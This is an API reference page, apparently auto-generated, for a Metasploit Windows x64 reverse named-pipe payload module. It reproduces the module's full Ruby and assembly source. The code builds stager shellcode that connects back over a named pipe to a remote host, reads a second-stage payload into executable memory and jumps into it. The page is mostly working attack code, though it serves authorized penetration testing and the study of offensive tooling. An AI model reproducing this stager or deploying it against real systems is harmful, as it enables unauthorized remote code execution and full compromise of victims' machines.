Module: Msf::Payload::Windows::ReverseNamedPipe_x64

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi_x64, Exitfunk_x64, SendUUID_x64
Defined in:
lib/msf/core/payload/windows/x64/reverse_named_pipe.rb

Overview

Complex reverse_named_pipe payload generation for Windows ARCH_X86_64 ###

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from SendUUID_x64

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_reverse_named_pipe(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Fixnum)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool)

    Whether or not to enable error handling code


105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe.rb', line 105

def asm_reverse_named_pipe(opts={})

  #reliable       = opts[:reliable]
  reliable       = false
  retry_count    = [opts[:retry_count].to_i, 1].max
  full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"

  asm = %Q^
    ; Input: RBP must be the address of 'api_call'
    ; Output: RDI will be the handle to the named pipe.

    retry_start:
      push #{retry_count}     ; retry counter
      pop r14

      ; Func(rcx, rdx, r8, r9, stack ...)
    try_reverse_named_pipe:
      call get_pipe_name
      db "#{full_pipe_name}", 0x00
    get_pipe_name:
      pop rcx                 ; lpFileName
    ; Start by setting up the call to CreateFile
      push 0                  ; alignment
      push 0                  ; hTemplateFile
      push 0                  ; dwFlagsAndAttributes
      push 3                  ; dwCreationDisposition (OPEN_EXISTING)
      xor r9, r9              ; lpSecurityAttributes
      xor r8, r8              ; dwShareMode
      mov rdx, 0xC0000000     ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE)
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
      call rbp                ; CreateFileA(...)

    ; check for failure
      cmp rax, -1             ; did it work?
      jnz connected

    handle_connect_failure:
      dec r14                 ; decrement the retry count
      jnz retry_start
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call rbp
    ^
  end

  asm << %Q^
    ; this  lable is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
      xchg rdi, rax           ; Save the file handler for later
  ^
  asm << asm_write_uuid if include_send_uuid

  asm << %Q^
    ; Receive the size of the incoming second stage...
      push 0                  ; buffer for lpNumberOfBytesRead
      mov r9, rsp             ; lpNumberOfBytesRead
      push 0                  ; buffer for lpBuffer
      mov rsi, rsp            ; lpNumberOfBytesRead
      push 4                  ; sizeof(DWORD)
      pop r8                  ; nNumberOfBytesToRead
      push 0                  ; alignment
      push 0                  ; lpOverlapped
      mov rdx, rsi            ; lpBuffer
      mov rcx, rdi            ; hFile
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call rbp                ; ReadFile(...)
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the received worked, and reconnect
    ; if it fails
      test eax, eax
      jz cleanup_file
      mov rax, [rsi+8]
      test eax, eax
      jz cleanup_file
    ^
  end

  asm << %Q^

    ; Alloc a RWX buffer for the second stage
      add rsp, 0x30           ; slight stack adjustment
      pop rsi                 ; pop off the second stage length
      pop rax                 ; line the stack up again
      mov esi, esi            ; only use the lower-order 32 bits for the size
      push 0x40               ;
      pop r9                  ; PAGE_EXECUTE_READWRITE
      push 0x1000             ;
      pop r8                  ; MEM_COMMIT
      mov rdx, rsi            ; the newly recieved second stage length.
      xor rcx, rcx            ; NULL as we dont care where the allocation is.
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      mov rbx, rax            ; rbx = our new memory address for the new stage
      mov r15, rax            ; save the address so we can jump into it later

    read_more:
      ; prepare the size min(0x10000, esi)
      mov r8, 0x10000         ; stupid named pipe buffer limit
      cmp r8, rsi
      jle size_is_good
      mov r8, rsi

    size_is_good:
      ; Invoke a read
      push 0                  ; buffer for lpNumberOfBytesRead
      mov r9, rsp             ; lpNumberOfBytesRead
      mov rdx, rbx            ; lpBuffer
      push 0                  ; lpOverlapped
      mov rcx, rdi            ; hFile
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call rbp                ; ReadFile(...)
      add rsp, 0x28           ; slight stack adjustment
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the read worked
    ; if it fails
      test eax, eax
      jnz read_successful

    ; something failed so free up memory
      pop rax
      push r15
      pop rcx                 ; lpAddress
      push 0x4000             ; MEM_DECOMMIT
      pop r8                  ; dwFreeType
      push 0                  ; 0
      pop rdx                 ; dwSize
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call rbp                ; VirtualFree(payload, 0, MEM_DECOMMIT)

    cleanup_file:
    ; clean up the socket
      push rdi                ; file handle
      pop rcx                 ; hFile
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
      call rbp

    ; and try again
      dec r14                 ; decrement the retry count
      jmp retry_start
    ^
  end

  asm << %Q^
    read_successful:
      pop rax
      add rbx, rax            ; buffer += bytes_received
      sub rsi, rax            ; length -= bytes_received
      test rsi, rsi           ; test length
      jnz read_more           ; continue if we have more to read
      jmp r15                 ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generateObject

Generate the first stage


34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe.rb', line 34

def generate
  conf = {
    name:        datastore['PIPENAME'],
    host:        datastore['PIPEHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  unless self.available_space.nil? || required_space > self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_named_pipe(conf)
end

#generate_reverse_named_pipe(opts = {}) ⇒ Object

Generate and compile the stager


62
63
64
65
66
67
68
69
70
71
72
73
# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe.rb', line 62

def generate_reverse_named_pipe(opts={})
  combined_asm = %Q^
    cld                     ; Clear the direction flag.
    and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned
    call start              ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp               ; block API pointer
    #{asm_reverse_named_pipe(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


55
56
57
# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe.rb', line 55

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse_named_pipe specific options


27
28
29
# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe.rb', line 27

def initialize(*args)
  super
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe.rb', line 82

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK 'seh' is the worst case, that adds 15 bytes
  space += 15

  # Reliability adds bytes!
  space += 57

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


75
76
77
# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe.rb', line 75

def transport_config(opts={})
  transport_config_reverse_named_pipe(opts)
end